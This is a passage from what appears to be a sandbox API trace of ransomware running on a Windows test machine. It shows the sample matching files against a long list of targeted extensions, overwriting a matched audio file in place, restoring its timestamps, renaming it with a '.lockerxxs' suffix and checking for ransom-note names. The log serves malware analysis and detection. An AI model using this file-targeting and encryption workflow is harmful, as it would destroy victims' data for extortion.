pszSpec="*.eml") returned 0 [0090.771] lstrlenA (lpString="*.eml") returned 5 [0090.771] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\NXg\\cG-PF.m4a", pszSpec="*.pst") returned 0 [0090.771] lstrlenA (lpString="*.pst") returned 5 [0090.771] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\NXg\\cG-PF.m4a", pszSpec="*.ost") returned 0 [0090.771] lstrlenA (lpString="*.ost") returned 5 [0090.771] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\NXg\\cG-PF.m4a", pszSpec="*.idx") returned 0 [0090.771] lstrlenA (lpString="*.idx") returned 5 [0090.771] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\NXg\\cG-PF.m4a", pszSpec="*.dbx") returned 0 [0090.771] lstrlenA (lpString="*.dbx") returned 5 [0090.772] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\NXg\\cG-PF.m4a", pszSpec="*.sql") returned 0 [0090.772] lstrlenA (lpString="*.sql") returned 5 [0090.772] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\NXg\\cG-PF.m4a", pszSpec="*.mdb") returned 0 [0090.772] lstrlenA (lpString="*.mdb") returned 5 [0090.772] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\NXg\\cG-PF.m4a", pszSpec="*.fdb") returned 0 [0090.772] lstrlenA (lpString="*.fdb") returned 5 [0090.772] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\NXg\\cG-PF.m4a", pszSpec="*.wab") returned 0 [0090.772] lstrlenA (lpString="*.wab") returned 5 [0090.772] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\NXg\\cG-PF.m4a", pszSpec="*.dat") returned 0 [0090.772] lstrlenA (lpString="*.dat") returned 5 [0090.772] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\NXg\\cG-PF.m4a", pszSpec="*.txt") returned 0 [0090.772] lstrlenA (lpString="*.txt") returned 5 [0090.772] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\NXg\\cG-PF.m4a", pszSpec="*.jpeg") returned 0 [0090.772] lstrlenA (lpString="*.jpeg") returned 6 [0090.772] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\NXg\\cG-PF.m4a", pszSpec="*.jpg") returned 0 [0090.772] lstrlenA (lpString="*.jpg") returned 5 [0090.772] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\NXg\\cG-PF.m4a", pszSpec="*.png") returned 0 [0090.772] lstrlenA (lpString="*.png") returned 5 [0090.772] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\NXg\\cG-PF.m4a", pszSpec="*.php") returned 0 [0090.772] lstrlenA (lpString="*.php") returned 5 [0090.773] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\NXg\\cG-PF.m4a", pszSpec="*.cs") returned 0 [0090.773] lstrlenA (lpString="*.cs") returned 4 [0090.773] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\NXg\\cG-PF.m4a", pszSpec="*.cpp") returned 0 [0090.773] lstrlenA (lpString="*.cpp") returned 5 [0090.773] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\NXg\\cG-PF.m4a", pszSpec="*.rar") returned 0 [0090.773] lstrlenA (lpString="*.rar") returned 5 [0090.773] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\NXg\\cG-PF.m4a", pszSpec="*.zip") returned 0 [0090.773] lstrlenA (lpString="*.zip") returned 5 [0090.773] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\NXg\\cG-PF.m4a", pszSpec="*.html") returned 0 [0090.773] lstrlenA (lpString="*.html") returned 6 [0090.773] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\NXg\\cG-PF.m4a", pszSpec="*.htm") returned 0 [0090.773] lstrlenA (lpString="*.htm") returned 5 [0090.773] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\NXg\\cG-PF.m4a", pszSpec="*.xlsx") returned 0 [0090.774] lstrlenA (lpString="*.xlsx") returned 6 [0090.774] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\NXg\\cG-PF.m4a", pszSpec="*.xls") returned 0 [0090.774] lstrlenA (lpString="*.xls") returned 5 [0090.774] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\NXg\\cG-PF.m4a", pszSpec="*.mp4") returned 0 [0090.774] lstrlenA (lpString="*.mp4") returned 5 [0090.774] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\NXg\\cG-PF.m4a", pszSpec="*.ppt") returned 0 [0090.774] lstrlenA (lpString="*.ppt") returned 5 [0090.774] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\NXg\\cG-PF.m4a", pszSpec="*.pptx") returned 0 [0090.774] lstrlenA (lpString="*.pptx") returned 6 [0090.774] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\NXg\\cG-PF.m4a", pszSpec="*.doc") returned 0 [0090.774] lstrlenA (lpString="*.doc") returned 5 [0090.774] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\NXg\\cG-PF.m4a", pszSpec="*.dot") returned 0 [0090.774] lstrlenA (lpString="*.dot") returned 5 [0090.774] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\NXg\\cG-PF.m4a", pszSpec="*.docx") returned 0 [0090.774] lstrlenA (lpString="*.docx") returned 6 [0090.774] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\NXg\\cG-PF.m4a", pszSpec="*.7z") returned 0 [0090.775] lstrlenA (lpString="*.7z") returned 4 [0090.775] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\NXg\\cG-PF.m4a", pszSpec="*.tar") returned 0 [0090.775] lstrlenA (lpString="*.tar") returned 5 [0090.775] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\NXg\\cG-PF.m4a", pszSpec="*.bz2") returned 0 [0090.775] lstrlenA (lpString="*.bz2") returned 5 [0090.775] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\NXg\\cG-PF.m4a", pszSpec="*.gz") returned 0 [0090.775] lstrlenA (lpString="*.gz") returned 4 [0090.775] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\NXg\\cG-PF.m4a", pszSpec="*.mkv") returned 0 [0090.775] lstrlenA (lpString="*.mkv") returned 5 [0090.775] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\NXg\\cG-PF.m4a", pszSpec="*.eml") returned 0 [0090.775] lstrlenA (lpString="*.eml") returned 5 [0090.775] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\NXg\\cG-PF.m4a", pszSpec="*.msg") returned 0 [0090.775] lstrlenA (lpString="*.msg") returned 5 [0090.775] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\NXg\\cG-PF.m4a", pszSpec="*.edb") returned 0 [0090.775] lstrlenA (lpString="*.edb") returned 5 [0090.775] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\NXg\\cG-PF.m4a", pszSpec="*.accdb") returned 0 [0090.775] lstrlenA (lpString="*.accdb") returned 7 [0090.775] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\NXg\\cG-PF.m4a", pszSpec="*.odb") returned 0 [0090.775] lstrlenA (lpString="*.odb") returned 5 [0090.776] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\NXg\\cG-PF.m4a", pszSpec="*.java") returned 0 [0090.776] lstrlenA (lpString="*.java") returned 6 [0090.776] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\NXg\\cG-PF.m4a", pszSpec="*.asm") returned 0 [0090.776] lstrlenA (lpString="*.asm") returned 5 [0090.776] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\NXg\\cG-PF.m4a", pszSpec="*.pfx") returned 0 [0090.776] lstrlenA (lpString="*.pfx") returned 5 [0090.776] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\NXg\\cG-PF.m4a", pszSpec="*.pem") returned 0 [0090.776] lstrlenA (lpString="*.pem") returned 5 [0090.776] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\NXg\\cG-PF.m4a", pszSpec="*.p12") returned 0 [0090.776] lstrlenA (lpString="*.p12") returned 5 [0090.776] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\NXg\\cG-PF.m4a", pszSpec="*.gpg") returned 0 [0090.776] lstrlenA (lpString="*.gpg") returned 5 [0090.776] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\NXg\\cG-PF.m4a", pszSpec="*.vsd") returned 0 [0090.776] lstrlenA (lpString="*.vsd") returned 5 [0090.776] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\NXg\\cG-PF.m4a", pszSpec="*.odg") returned 0 [0090.776] lstrlenA (lpString="*.odg") returned 5 [0090.776] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\NXg\\cG-PF.m4a", pszSpec="*.raw") returned 0 [0090.776] lstrlenA (lpString="*.raw") returned 5 [0090.777] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\NXg\\cG-PF.m4a", pszSpec="*.nef") returned 0 [0090.777] lstrlenA (lpString="*.nef") returned 5 [0090.777] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\NXg\\cG-PF.m4a", pszSpec="*.svg") returned 0 [0090.777] lstrlenA (lpString="*.svg") returned 5 [0090.777] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\NXg\\cG-PF.m4a", pszSpec="*.psd") returned 0 [0090.777] lstrlenA (lpString="*.psd") returned 5 [0090.777] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\NXg\\cG-PF.m4a", pszSpec="*.vmx") returned 0 [0090.777] lstrlenA (lpString="*.vmx") returned 5 [0090.777] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\NXg\\cG-PF.m4a", pszSpec="*.vmdk") returned 0 [0090.777] lstrlenA (lpString="*.vmdk") returned 6 [0090.777] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\NXg\\cG-PF.m4a", pszSpec="*.vdi") returned 0 [0090.777] lstrlenA (lpString="*.vdi") returned 5 [0090.777] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\NXg\\cG-PF.m4a", pszSpec="*.lay6") returned 0 [0090.777] lstrlenA (lpString="*.lay6") returned 6 [0090.777] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\NXg\\cG-PF.m4a", pszSpec="*.mpeg") returned 0 [0090.777] lstrlenA (lpString="*.mpeg") returned 6 [0090.777] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\NXg\\cG-PF.m4a", pszSpec="*.djvu") returned 0 [0090.777] lstrlenA (lpString="*.djvu") returned 6 [0090.777] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\NXg\\cG-PF.m4a", pszSpec="*.tiff") returned 0 [0090.777] lstrlenA (lpString="*.tiff") returned 6 [0090.778] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\NXg\\cG-PF.m4a", pszSpec="*.backup") returned 0 [0090.778] lstrlenA (lpString="*.backup") returned 8 [0090.778] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\NXg\\cG-PF.m4a", pszSpec="*.pdf") returned 0 [0090.778] lstrlenA (lpString="*.pdf") returned 5 [0090.778] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\NXg\\cG-PF.m4a", pszSpec="*.cert") returned 0 [0090.778] lstrlenA (lpString="*.cert") returned 6 [0090.778] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\NXg\\cG-PF.m4a", pszSpec="*.docm") returned 0 [0090.778] lstrlenA (lpString="*.docm") returned 6 [0090.778] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\NXg\\cG-PF.m4a", pszSpec="*.xlsm") returned 0 [0090.778] lstrlenA (lpString="*.xlsm") returned 6 [0090.778] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\NXg\\cG-PF.m4a", pszSpec="*.dwg") returned 0 [0090.778] lstrlenA (lpString="*.dwg") returned 5 [0090.778] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\NXg\\cG-PF.m4a", pszSpec="*.nd") returned 0 [0090.778] lstrlenA (lpString="*.nd") returned 4 [0090.778] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\NXg\\cG-PF.m4a", pszSpec="*.tlg") returned 0 [0090.778] lstrlenA (lpString="*.tlg") returned 5 [0090.778] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\NXg\\cG-PF.m4a", pszSpec="*.lgb") returned 0 [0090.778] lstrlenA (lpString="*.lgb") returned 5 [0090.779] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\NXg\\cG-PF.m4a", pszSpec="*.mov") returned 0 [0090.779] lstrlenA (lpString="*.mov") returned 5 [0090.779] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\NXg\\cG-PF.m4a", pszSpec="*.xdw") returned 0 [0090.779] lstrlenA (lpString="*.xdw") returned 5 [0090.779] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\NXg\\cG-PF.m4a", pszSpec="*.ods") returned 0 [0090.779] lstrlenA (lpString="*.ods") returned 5 [0090.779] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\NXg\\cG-PF.m4a", pszSpec="*.wav") returned 0 [0090.779] lstrlenA (lpString="*.wav") returned 5 [0090.779] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\NXg\\cG-PF.m4a", pszSpec="*.mp3") returned 0 [0090.779] lstrlenA (lpString="*.mp3") returned 5 [0090.779] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\NXg\\cG-PF.m4a", pszSpec="*.aiff") returned 0 [0090.779] lstrlenA (lpString="*.aiff") returned 6 [0090.779] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\NXg\\cG-PF.m4a", pszSpec="*.flac") returned 0 [0090.779] lstrlenA (lpString="*.flac") returned 6 [0090.779] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\NXg\\cG-PF.m4a", pszSpec="*.m4a") returned 1 [0090.779] lstrlenA (lpString="*.m4a") returned 5 [0090.779] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\NXg\\cG-PF.m4a" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\NXg\\cG-PF.m4a") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\NXg\\cG-PF.m4a" [0090.779] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\NXg\\cG-PF.m4a" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\NXg\\cG-PF.m4a") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\NXg\\cG-PF.m4a" [0090.779] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\NXg\\cG-PF.m4a", lpString2="." | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\NXg\\cG-PF.m4a.") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\NXg\\cG-PF.m4a." [0090.780] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\NXg\\cG-PF.m4a.", lpString2="lockerxxs" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\NXg\\cG-PF.m4a.lockerxxs") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\NXg\\cG-PF.m4a.lockerxxs" [0090.780] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\NXg\\cG-PF.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\gxoniljbo52h80m\\z ewyyn3jjyxqbyqbup\\nxg\\cg-pf.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x94 [0090.780] GetFileSize (in: hFile=0x94, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x1557c [0090.780] GetFileTime (in: hFile=0x94, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0xc3a08570, dwHighDateTime=0x1d5e773), lpLastAccessTime=0x407536*(dwLowDateTime=0x92090830, dwHighDateTime=0x1d5e2ae), lpLastWriteTime=0x40753e*(dwLowDateTime=0x92090830, dwHighDateTime=0x1d5e2ae)) returned 1 [0090.781] SetFilePointer (in: hFile=0x94, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0090.781] ReadFile (in: hFile=0x94, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0x15556, lpOverlapped=0x0) returned 1 [0090.783] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\NXg\\cG-PF.m4a") returned="cG-PF.m4a" [0090.784] SetFilePointer (in: hFile=0x94, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0090.784] WriteFile (in: hFile=0x94, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x15556, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x15556, lpOverlapped=0x0) returned 1 [0090.785] SetFileTime (hFile=0x94, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0090.785] CloseHandle (hObject=0x94) returned 1 [0090.785] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\NXg\\cG-PF.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\gxoniljbo52h80m\\z ewyyn3jjyxqbyqbup\\nxg\\cg-pf.m4a"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\NXg\\cG-PF.m4a.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\gxoniljbo52h80m\\z ewyyn3jjyxqbyqbup\\nxg\\cg-pf.m4a.lockerxxs")) returned 1 [0090.786] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc3a08570, ftCreationTime.dwHighDateTime=0x1d5e773, ftLastAccessTime.dwLowDateTime=0x92090830, ftLastAccessTime.dwHighDateTime=0x1d5e2ae, ftLastWriteTime.dwLowDateTime=0x92090830, ftLastWriteTime.dwHighDateTime=0x1d5e2ae, nFileSizeHigh=0x0, nFileSizeLow=0x1557c, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="cG-PF.m4a", cAlternateFileName="")) returned 0 [0090.786] FindClose (in: hFindFile=0x502658 | out: hFindFile=0x502658) returned 1 [0090.786] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98307b0, ftCreationTime.dwHighDateTime=0x1d5d979, ftLastAccessTime.dwLowDateTime=0xd4395780, ftLastAccessTime.dwHighDateTime=0x1d5dbbc, ftLastWriteTime.dwLowDateTime=0xd4395780, ftLastWriteTime.dwHighDateTime=0x1d5dbbc, nFileSizeHigh=0x0, nFileSizeLow=0xeb8a, dwReserved0=0x52d540, dwReserved1=0x4ff4e8, cFileName="OQxDZnkVkEO_.mp3", cAlternateFileName="OQXDZN~1.MP3")) returned 1 [0090.786] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0090.786] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="OQxDZnkVkEO_.mp3") returned -1 [0090.786] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="OQxDZnkVkEO_.mp3") returned -1 [0090.787] lstrcmpiA (lpString1="", lpString2="OQxDZnkVkEO_.mp3") returned -1 [0090.787] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\*.*") returned="*.*" [0090.787] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\" [0090.787] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS 